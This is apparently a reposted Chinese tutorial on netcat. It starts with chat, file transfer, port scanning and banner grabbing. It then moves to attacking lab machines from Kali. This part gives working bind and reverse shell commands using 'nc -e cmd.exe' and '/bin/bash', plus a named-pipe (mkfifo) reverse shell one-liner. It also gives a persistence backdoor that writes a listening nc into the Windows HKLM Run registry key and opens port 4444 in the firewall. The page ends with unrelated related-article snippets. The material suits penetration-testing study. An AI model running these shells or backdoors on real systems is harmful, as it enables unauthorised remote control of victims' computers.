NetCat(NC)详细教程

一.NetCat介绍

1995年第一个版本公布,NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,应该早很就被提供,就象另一个没有公开但是标准的Unix工具。有gnu版本和 windows下的运行版本, 这里仅介绍unix版的。

二.NetCat的功能

  1. 聊天,信息的交流
  2. 传输文件
  3. Banner获取
  4. 端口扫描
  5. 对远程计算机进行控制

三.NetCat的基本使用

NC有两种模式
  1. 客户端模式

nc 主机IP地址 端口号

  1. 服务器模式

nc -lvnp 4444
-l 监听模式
-v 详细信息
-n 不进行DNS解析
-p 指定端口

在这里插入图片描述

python -m http.server 8080
通过python3快速搭建一个web服务器来下载nc.exe 到主机上

在这里插入图片描述

NC 进行信息取证

服务端
nc -lvnp 4444 >> ncTest
客户端
nc 127.0.0.1 4444 -q 1
-q 1 等待1秒后自动断开

在这里插入图片描述

nc传输文件

接收端
nc -lvnp 4444 > whoami.exe
发送端
nc 192.168.138.3 4444 < whoami,exe

在这里插入图片描述

NC 扫描

nc -v -w 2 172.30.1.132 1-65535
-w 一个连接一段时间无操作,则自动断开
-v 详细报告
-z 只监听不发送任何包
-u 标识使用UDP协议,默认是tcp模式

在这里插入图片描述

使用脚本配合nc扫描
# !/bin/bash
while read r
do
nc -nv -w 2 -z $r 1-1000
done

在这里插入图片描述

批量ip文件扫描
nmap -sn -oG nampData.txt 172.30.1.0/24 -exclude 172.30.1.3,172.30.1.254,172.30.1.1
排除自己和网关和DHCP服务器

在这里插入图片描述

grep "Up" nmapData.txt | awk '{print $2}' > nc_ip.txt

在这里插入图片描述

cat nc_ip.txt | ./nc_scan.sh

在这里插入图片描述

NC抓取Banner

nc -nv 172.30.1.132 21
通过nc去连接目标的指定端口,来获取banner信息
类似Nmap的 -sV 选项

在这里插入图片描述

NC抓取web服务Banner
nc -nv 172.30.1.132 80
HEAD / HTTP1.1/
GET / HTTP1.1/
HEAD :获取头部信息
GET :整个请求信息

在这里插入图片描述

在这里插入图片描述

正向shell和反向shell

正向shell

正向shell是指攻击方主动去连接受害者,通常用于攻击方处于内网中,受害者处于公网中,和受害者没有开启防火墙时

反向shell

反向shell是指受害者主动去连接攻击方,通常用于受害者处于内网中,攻击方处于公网中,或受害者开启了防火墙(防火墙一般情况只会拦截进入的流量,不会拦截输出的流量)

对远程计算机进行控制

nc获取win10 shell

正向shell
kail 作为攻击方连接 windows 10
win10
nc -lvnp 4444 -e cmd.exe
-e 执行给定的命令
kail
nc -nv 172.30.1.131 4444
改变win10cmd的编码格式
chcp 65001

在这里插入图片描述
在这里插入图片描述
nc获取msf shell

正向shell
kail 作为攻击方 msf 作为受害者
msf
nc -lvnp 4444 -e /bin/bash
kail
nc -nv 172.30.1.132 4444
通过python获取一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
在这里插入图片描述

反向shell
kail 作为攻击方 msf 作为受害者
kail
nc -lvnp 4444
msf
nc -nc 172.30.1.3 4444 -e /bin/bash
通过python获取一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
在这里插入图片描述

NC对windows进行持续访问

思路

1.将下面命令写入到windows的注册表的RUN位置(开机自动运行) 处
nc.exe -Ldp 4444 -e cmd.exe
-L 持续监听 (windows中才有的参数)
-d 后台模式 (windows中才有的参数)
2. 在防火墙中放行相应的端口

注册表RUN的位置

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

windows命令添加注册表开机自启动

reg.exe ADD HKLM\software\microsoft\windows\currentversion\run /v netcat /t REG_SZ /d "C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe" /f
reg.exe ADD 添加一个注册表选项
-v 创建键
-t 键值类型,REG_SZ(字符串类型)
-d 键值的值
-f 强制修改注册表项

windows命令添加防火墙放行端口

netsh advfirewall firewall add rule name ='netcat' dir=in action=allow protocol=Tcp localport=4444
查看防火墙开放的端口
netsh firewall show portopening
netsh advfirewall firewall add rule 添加防火墙放行规则
name 规则名称
dir=in 入栈流量
action=allow 放行所有流量
protocol=Tcp 协议
localport=4444 放行端口

在这里插入图片描述
在这里插入图片描述
重启win10,用nc连接win10
在这里插入图片描述
在这里插入图片描述

反弹shell的liunx中的其他方式FIFO管道文件文件

FIFO文件概述

管道因为没有名称,所以只用于进程间的亲缘通信。为了克服这一缺点,提出了命名管道(FIFO),又称命名管道、FIFO文件。
FIFO不同于无名管道,它提供与之关联的路径名,该路径名以FIFO文件的形式存在于文件系统中。这样,即使进程与FIFO的创建进程没有亲属关系,只要能够访问路径,就可以通过FIFO相互通信。不相关的过程也可以通过FIFO交换数据。
FIFO 在文件系统中作为一个特殊的文件而存在。虽然FIFO文件存放在文件系统中,但是FIFO 中的内容却存放在内存中。当使用 FIFO 的进程退出后,FIFO 文件将继续保存在文件系统中以便以后使用

liunx的重定向输入输出

liunx的重定向输入输出,0< 等同于< (标准输入),1>等同于> (标准正确输出),2> (标准错误输出)

FIFO文件的基本操作

命令说明
mkfifo /tmp/mkfifoTest创建一个mkfifo管道文件
mknod /tmp/mkfifoTest p创建一个mkfifo管道文件

mkfifo /tmp/mkfifoTest 创建一个FIFO管道文件
p标识是个管道文件标识

在这里插入图片描述

mknod /tmp/mknodTest p 创建一个FIFO管道文件
p 选项表示创建一个管道文件

在这里插入图片描述

使用FiFO文件获取反向shell

rm -rf /tmp/test123;mkfifo /test/test123; cat /tmp/test123 | sh -i 2>&1 | nc 172.30.1.3 4444 > /tmp/test123; rm -rf /tmp/test123
sh -i : 实现脚本交互
2>&1 :输出重定向,2>标准错误输出 >标准正确输出 ,将标准正确输出和标准错误输出都重定向,& 引用,&1 引用前一个

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/229668.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

初探HarmonyOS路由跳转

最近的鸿蒙新闻也是很大声势&#xff0c;鸿蒙的纯血版一出&#xff0c;各大互联网大厂都坐不住了&#xff0c;纷纷加入其中。这意味鸿蒙将来会取代大部分Android用户&#xff0c;这也是程序员的一篇大好前程。如今的Android开发行业已经夕阳西下了。 网上有关HarmonyOS的资料几…

docker-compose Foxmic dt版

Foxmic dt 版前言 实现企业对资产的基本管理,包含对资产的登记、维修、调拨、转移等基本功能的支持,并提供对资产的耗材、库存进行管理,有完善的组织架构,非常适合中小企业的需求系统整体覆盖了基本的资产管理、合同管理、运维服务、运维服务、数据中心设备管理等多个模块。…

神经内镜市场分析:全球市场规模及市场份额、行业现状、市场发展

神经内镜是一种用于检查和执行中枢神经系统各种干预措施的内窥镜&#xff0c;也是内镜神经外科手术中进行观察和操作的工具。神经内镜手术具有高清晰视野、抵近观察的优越特性&#xff0c;同时由于其对正常脑组织结构造成的损伤小&#xff0c;并发症发生率较低&#xff0c;且治…

开发定制化抖音票务小程序的技术解析

通过定制化抖音票务小程序&#xff0c;可以为用户提供更加个性化的活动体验&#xff0c;同时也为企业和品牌提供了更多的营销机会。 一、小程序开发框架的选择 在开发定制化抖音票务小程序之前&#xff0c;选择合适的小程序开发框架至关重要。目前&#xff0c;主流的小程序框…

算法基础-快速幂 | 蓝桥杯

⭐简单说两句⭐ 作者&#xff1a;后端小知识&#xff0c;CSDN后端领域新星创作者|阿里云专家博主 CSDN个人主页&#xff1a;后端小知识 &#x1f50e;GZH&#xff1a;后端小知识 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; 好的&#xff0…

2020年10月20日 Go生态洞察:Go开发者调查报告分析

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

ringboot-cve_2021_21234:latestSpring Boot 目录遍历 (CVE-2021-21234)漏洞复现

Spring Boot 目录遍历 &#xff08;CVE-2021-21234&#xff09;漏洞复现 Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞&#xff0c;攻击者可通过该缺陷读取系统任意文件。 名称: Spring Boot 目录遍历 &#xff08;CVE-2021-21234&#xff09; 描述: Sprin…

数据结构之二叉树与堆以及力扣刷题函数扩展

个人主页&#xff1a;点我进入主页 专栏分类&#xff1a;C语言初阶 C语言程序设计————KTV C语言小游戏 C语言进阶 C语言刷题 数据结构初阶 欢迎大家点赞&#xff0c;评论&#xff0c;收藏。 一起努力 目录 1.前言 2.树 2.1概念 2.2树的相关概念 3.…

微信小程序本地和真机调试文件上传成功但体验版不成功

可能是微信小程序ip白名单的问题&#xff0c;去微信公众平台&#xff08;小程序&#xff09;上设置小程序的ip白名单 1、在本地中取消不校验 然后在本地去上传文件&#xff0c;就会发现控制台报错了&#xff0c;会提示一个https什么不在ip白名单&#xff0c;复制那个网址 2、…

Spring Boot实现热部署

Spring Boot提供了一个名为spring-boot-devtools的开发工具&#xff0c;它可以实现热部署功能。通过使用spring-boot-devtools&#xff0c;可以在修改了resources目录下的内容后&#xff0c;自动重新加载应用程序&#xff0c;而无需手动重启。 以下是使用spring-boot-devtools…

meta quest2激活配对、开发者模式、设置sidequest下载应用过程记录

最近因学习需求&#xff0c;需要从sidequest上下载一些VR应用到meta quest2里。但是由于一些大家都知道的原因&#xff0c;quest2并不能正常联网。quest2到手后&#xff0c;本VR小白摸索了半天&#xff0c;最终成功解决激活配对、设置开发者模式、从sidequest上下载应用等问题。…

Android自定义瀑布流文字展示

在历史搜索功能中&#xff0c;我们常用到一个瀑布流展示控件&#xff0c;用来展示我们的搜索记录&#xff0c;所以就自定义一个吧&#xff01; 布局中代码示例 <com.example.mymodularization.measure.LinearCustomandroid:id"id/ll"android:layout_width"wr…